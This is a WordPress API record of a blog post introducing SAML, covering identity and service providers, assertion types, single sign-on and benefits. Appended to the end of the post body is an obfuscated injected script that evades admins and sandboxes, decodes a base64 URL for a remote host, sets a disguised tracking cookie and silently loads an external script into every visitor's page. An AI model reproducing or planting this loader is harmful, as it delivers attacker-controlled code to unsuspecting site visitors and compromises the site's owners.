{"id":44,"date":"2023-08-03T17:49:41","date_gmt":"2023-08-03T17:49:41","guid":{"rendered":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/?p=44"},"modified":"2025-10-18T21:50:06","modified_gmt":"2025-10-18T21:50:06","slug":"lorem-ipsum-dolor-sit-amet-consectetur-adipisicing-elit","status":"publish","type":"post","link":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/lorem-ipsum-dolor-sit-amet-consectetur-adipisicing-elit\/","title":{"rendered":"Looking at SAML In 2023 !"},"content":{"rendered":"<h3>What is SAML<\/h3>\n<p id=\"1aa1\" class=\"pw-post-body-paragraph lk ll ev lm b ln lo lp lq lr ls lt lu lv lw lx ly lz ma mb mc md me mf mg mh eo bj\" data-selectable-paragraph=\"\">SAML stands for\u00a0<strong class=\"lm ew\">Security Assertion Markup Language<\/strong>. It is an XML-based open-standard for transferring identity data between two parties: an identity provider (<strong class=\"lm ew\"><em class=\"mi\">IdP<\/em><\/strong>) and a service provider (<strong class=\"lm ew\"><em class=\"mi\">SP<\/em><\/strong>).<\/p>\n<blockquote class=\"mj mk ml\">\n<p id=\"4b79\" class=\"lk ll mi lm b ln mm lp lq lr mn lt lu mo mp lx ly mq mr mb mc ms mt mf mg mh eo bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\"><em class=\"ev\">SAML basically asks as a link between the authentication of a user\u2019s identity and the authorization to use a service.<\/em><\/strong><\/p>\n<\/blockquote>\n<p id=\"1d63\" class=\"pw-post-body-paragraph lk ll ev lm b ln mm lp lq lr mn lt lu lv mp lx ly lz mr mb mc md mt mf mg mh eo bj\" data-selectable-paragraph=\"\">SAML, created by OASIS, remains the dominant standard among the various standards existing in the world of Federated Identity Management. The common goal among these standards is to enrich the user experience and enhance security.<\/p>\n<p id=\"1601\" class=\"pw-post-body-paragraph lk ll ev lm b ln mm lp lq lr mn lt lu lv mp lx ly lz mr mb mc md mt mf mg mh eo bj\" data-selectable-paragraph=\"\">SAML enables web browser SSO by allowing users to sign in to apps\/services with a single set of credentials. This centralization not only provides convenience to employees but also improves organizational security, among other benefits.<\/p>\n<p id=\"0f06\" class=\"pw-post-body-paragraph lk ll ev lm b ln mm lp lq lr mn lt lu lv mp lx ly lz mr mb mc md mt mf mg mh eo bj\" data-selectable-paragraph=\"\">One of the bigger challenges in the tech world is make sure that applications, products,Saas\/PaaS solutions, cloud solutions etc built by different vendors and companies for different purposes, they work together seamlessly as a Unit. This is known as\u00a0<strong class=\"lm ew\">Interoperability, it\u00a0<\/strong>refers to the ability of apps, equipment, products, and systems from different companies(vendors) to seamlessly communicate and process data in a way that does not require any involvement from end-users.<\/p>\n<p id=\"de2f\" class=\"pw-post-body-paragraph lk ll ev lm b ln mm lp lq lr mn lt lu lv mp lx ly lz mr mb mc md mt mf mg mh eo bj\" data-selectable-paragraph=\"\">So\u00a0<em class=\"mi\">SAML is an interoperable standard\u00a0<\/em>\u2014 it is a widely accepted way to communicate a user\u2019s identity to different service providers.<\/p>\n<p id=\"9468\" class=\"pw-post-body-paragraph lk ll ev lm b ln mm lp lq lr mn lt lu lv mp lx ly lz mr mb mc md mt mf mg mh eo bj\" data-selectable-paragraph=\"\">SAML does two key functions:<\/p>\n<ol class=\"\">\n<li id=\"3b90\" class=\"lk ll ev lm b ln mm lp lq lr mn lt lu mo mp lx ly mq mr mb mc ms mt mf mg mh mu mv mw bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\">Authentication:<\/strong>\u00a0determining and ensuring that users are \u201cwho they claim to be\u201d.<\/li>\n<li id=\"c9d1\" class=\"lk ll ev lm b ln mx lp lq lr my lt lu mo mz lx ly mq na mb mc ms nb mf mg mh mu mv mw bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\">Authorization:<\/strong>\u00a0passing user authorization to applications for access to certain systems or content.<\/li>\n<\/ol>\n<h3 id=\"9ae3\" class=\"km kn ev be ko kp kq kr ks kt ku kv kw kx ky kz la lb lc ld le lf lg lh li lj bj\">How does SAML work?<\/h3>\n<p id=\"ccf7\" class=\"pw-post-body-paragraph lk ll ev lm b ln lo lp lq lr ls lt lu lv lw lx ly lz ma mb mc md me mf mg mh eo bj\" data-selectable-paragraph=\"\">As per wikipedia: \u201cThe SAML specification defines three roles: the\u00a0<strong class=\"lm ew\">principal<\/strong>\u00a0(typically a human user), the\u00a0<strong class=\"lm ew\">identity provider<\/strong>\u00a0(IdP) and the service provider (SP).In the primary use case addressed by SAML, the principal requests a service from the service provider. The service provider requests and obtains an authentication assertion from the identity provider. On the basis of this assertion, the service provider can make an access control decision, that is, it can decide whether to perform the service for the connected principal.\u201d<\/p>\n<p id=\"0e5e\" class=\"pw-post-body-paragraph lk ll ev lm b ln mm lp lq lr mn lt lu lv mp lx ly lz mr mb mc md mt mf mg mh eo bj\" data-selectable-paragraph=\"\">With SAML SSO, the users do not log into the applications directly. Instead, they log into an SSO based platform. When a user himself authenticates successfully, SAML gives that user access to multiple resources across multiple domains.<\/p>\n<figure class=\"nf ng nh ni nj nk nc nd paragraph-image\">\n<h3 class=\"nc nd ne\"><strong class=\"al\" style=\"color: revert; font-size: revert;\">What is a SAML assertion?<\/strong><\/h3>\n<\/figure>\n<div class=\"eo ep eq er es\">\n<div class=\"ab ca\">\n<div class=\"ch bg dx dy dz ea\">\n<p id=\"c8d9\" class=\"pw-post-body-paragraph lk ll ev lm b ln lo lp lq lr ls lt lu lv lw lx ly lz ma mb mc md me mf mg mh eo bj\" data-selectable-paragraph=\"\">SAML assertions are noting but XML documents sent from an IdP to an SP which identify users, and contain pertinent dat about them, and specify their privileges in the target application or service.<\/p>\n<p id=\"d900\" class=\"pw-post-body-paragraph lk ll ev lm b ln mm lp lq lr mn lt lu lv mp lx ly lz mr mb mc md mt mf mg mh eo bj\" data-selectable-paragraph=\"\">There are three types of SAML assertions:<\/p>\n<ol class=\"\">\n<li id=\"bc95\" class=\"lk ll ev lm b ln mm lp lq lr mn lt lu mo mp lx ly mq mr mb mc ms mt mf mg mh mu mv mw bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\">Authentication assertions:\u00a0<\/strong>these assertions are generated by the system that authenticates a user and contain information about how the authentication decision transpired and log information including timestamps.(Eg.password, MFA, Kerbeos, etc.)<\/li>\n<li id=\"e8ed\" class=\"lk ll ev lm b ln mx lp lq lr my lt lu mo mz lx ly mq na mb mc ms nb mf mg mh mu mv mw bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\">Attribute assertions: it\u00a0<\/strong>passes the SAML attributes to the service provider \u2014 SAML attributes are specific pieces of data that provide information about the user.The attribute used by SAML to identify the user is assumed to be the same in both the IdP and SP directory.<\/li>\n<li id=\"af1b\" class=\"lk ll ev lm b ln mx lp lq lr my lt lu mo mz lx ly mq na mb mc ms nb mf mg mh mu mv mw bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\">Authorization assertions:<\/strong>\u00a0an authorization decision assertion says if the user is authorized to use the service or if the identify provider denied their request due to a password failure or lack of rights to the service.<\/li>\n<\/ol>\n<h3 id=\"378d\" class=\"pw-post-body-paragraph lk ll ev lm b ln mm lp lq lr mn lt lu lv mp lx ly lz mr mb mc md mt mf mg mh eo bj\"><strong class=\"lm ew\">SAML &amp; SSO:<\/strong><\/h3>\n<p id=\"3f6f\" class=\"pw-post-body-paragraph lk ll ev lm b ln mm lp lq lr mn lt lu lv mp lx ly lz mr mb mc md mt mf mg mh eo bj\" data-selectable-paragraph=\"\">Even though SAML was designed keeping in mind a wide range of use cases , but the most common one in practice is\u00a0<strong class=\"lm ew\">Single-sign-on(SSO<\/strong>). SSO, as the name implies, allows a user to log in once and then access multiple services \u2014 websites, cloud solutions or SaaS apps and so on. In an SSO scenario, all these services outsource their authentication and authorization functionality to a single system that then sends identity information about the user to those services.<\/p>\n<p id=\"7134\" class=\"pw-post-body-paragraph lk ll ev lm b ln mm lp lq lr mn lt lu lv mp lx ly lz mr mb mc md mt mf mg mh eo bj\" data-selectable-paragraph=\"\">SAML Single Sign-On is a mechanism that leverages SAML allowing authenticated users to log on to multiple web applications and systems, after logging into the identity provider. As the user only has to log in once, SAML SSO provides a faster, seamless user experience.<\/p>\n<figure class=\"nf ng nh ni nj nk nc nd paragraph-image\">\n<div class=\"oh oi go oj bg ok\" tabindex=\"0\" role=\"button\">\n<div class=\"nc nd og\"><picture><source srcset=\"https:\/\/miro.medium.com\/v2\/resize:fit:640\/format:webp\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 640w, https:\/\/miro.medium.com\/v2\/resize:fit:720\/format:webp\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 720w, https:\/\/miro.medium.com\/v2\/resize:fit:750\/format:webp\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 750w, https:\/\/miro.medium.com\/v2\/resize:fit:786\/format:webp\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 786w, https:\/\/miro.medium.com\/v2\/resize:fit:828\/format:webp\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 828w, https:\/\/miro.medium.com\/v2\/resize:fit:1100\/format:webp\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 1100w, https:\/\/miro.medium.com\/v2\/resize:fit:1400\/format:webp\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 1400w\" type=\"image\/webp\" sizes=\"(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px\" \/><source srcset=\"https:\/\/miro.medium.com\/v2\/resize:fit:640\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 640w, https:\/\/miro.medium.com\/v2\/resize:fit:720\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 720w, https:\/\/miro.medium.com\/v2\/resize:fit:750\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 750w, https:\/\/miro.medium.com\/v2\/resize:fit:786\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 786w, https:\/\/miro.medium.com\/v2\/resize:fit:828\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 828w, https:\/\/miro.medium.com\/v2\/resize:fit:1100\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 1100w, https:\/\/miro.medium.com\/v2\/resize:fit:1400\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg 1400w\" sizes=\"(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px\" data-testid=\"og\" \/><img loading=\"lazy\" decoding=\"async\" class=\"bg nl nm c\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/v2\/resize:fit:700\/1*P0i6Gy50KY-DIxAxeyA9AQ.jpeg\" alt=\"\" width=\"700\" height=\"315\" \/><\/picture><\/div>\n<\/div>\n<\/figure>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"eo ep eq er es\">\n<div class=\"ab ca\">\n<div class=\"ch bg dx dy dz ea\">\n<h3 id=\"2d6c\" class=\"km kn ev be ko kp ob kr ks kt oc kv kw kx od kz la lb oe ld le lf of lh li lj bj\"><strong class=\"al\">Benefits of SAML<\/strong><\/h3>\n<ol class=\"\">\n<li id=\"7d94\" class=\"lk ll ev lm b ln lo lp lq lr ls lt lu mo lw lx ly mq ma mb mc ms me mf mg mh mu mv mw bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\">Improved user experiences\u00a0<\/strong>: SAML not only makes it easier to log in to applications and services, but also helps users be more productive because they can readily access the tools they need to get their jobs done.<\/li>\n<li id=\"c36f\" class=\"lk ll ev lm b ln mx lp lq lr my lt lu mo mz lx ly mq na mb mc ms nb mf mg mh mu mv mw bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\">Greater security<\/strong>: SAML provides a single point of authentication at a secure identity provider, which then transfers the user\u2019s identity information to service providers. This ensures that credentials are only sent directly, minimising opportunities for phishing or identity theft.<\/li>\n<li id=\"edf3\" class=\"lk ll ev lm b ln mx lp lq lr my lt lu mo mz lx ly mq na mb mc ms nb mf mg mh mu mv mw bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\">Reducing costs:<\/strong>\u00a0implementing SAML saves significant amount of time for IT admin related activities, as it helps to eliminate the need for new ticket creation, submission password reset etc. It also helps to keep development costs to a minimum.<\/li>\n<li id=\"22e6\" class=\"lk ll ev lm b ln mx lp lq lr my lt lu mo mz lx ly mq na mb mc ms nb mf mg mh mu mv mw bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\">Single source of identity.\u00a0<\/strong>when an employee joins or leaves a company, you don\u2019t have to worry about the myriad of internal services that now have to be updated, and the ones that will inevitably be missed.<\/li>\n<li id=\"ea77\" class=\"lk ll ev lm b ln mx lp lq lr my lt lu mo mz lx ly mq na mb mc ms nb mf mg mh mu mv mw bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\">Interoperability \u2014\u00a0<\/strong>as SAML is an open standard, it makes interoperability possible between diverse systems.<\/li>\n<li id=\"35db\" class=\"lk ll ev lm b ln mx lp lq lr my lt lu mo mz lx ly mq na mb mc ms nb mf mg mh mu mv mw bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\">Platform neutrality<\/strong>\u00a0\u2014 SAML decouples the security framework from platform architectures and vendor-specific implementations. It supports service-oriented architecture (SOA) by making security less dependent on application logic.<\/li>\n<li id=\"64f8\" class=\"lk ll ev lm b ln mx lp lq lr my lt lu mo mz lx ly mq na mb mc ms nb mf mg mh mu mv mw bj\" data-selectable-paragraph=\"\"><strong class=\"lm ew\">Easy Access of Applications<\/strong>\u00a0\u2014 Logins are easier to remember and more convenient. Users can effortlessly sweep through applications without spending time with required logins.<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"ab ca nt nu nv nw\" role=\"separator\"><\/div>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What is SAML SAML stands for\u00a0Security Assertion Markup Language. It is an XML-based open-standard for transferring identity data between two parties: an identity provider (IdP) and a service provider (SP). SAML basically asks as a link between the authentication of a user\u2019s identity and the authorization to use a service. SAML, created by OASIS, remains [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":161,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-44","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"acf":[],"_links":{"self":[{"href":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/wp-json\/wp\/v2\/posts\/44","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/wp-json\/wp\/v2\/comments?post=44"}],"version-history":[{"count":7,"href":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/wp-json\/wp\/v2\/posts\/44\/revisions"}],"predecessor-version":[{"id":233,"href":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/wp-json\/wp\/v2\/posts\/44\/revisions\/233"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/wp-json\/wp\/v2\/media\/161"}],"wp:attachment":[{"href":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/wp-json\/wp\/v2\/media?parent=44"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/wp-json\/wp\/v2\/categories?post=44"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/webtestinglink.com\/beta\/sourabhgupta\/wp-json\/wp\/v2\/tags?post=44"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}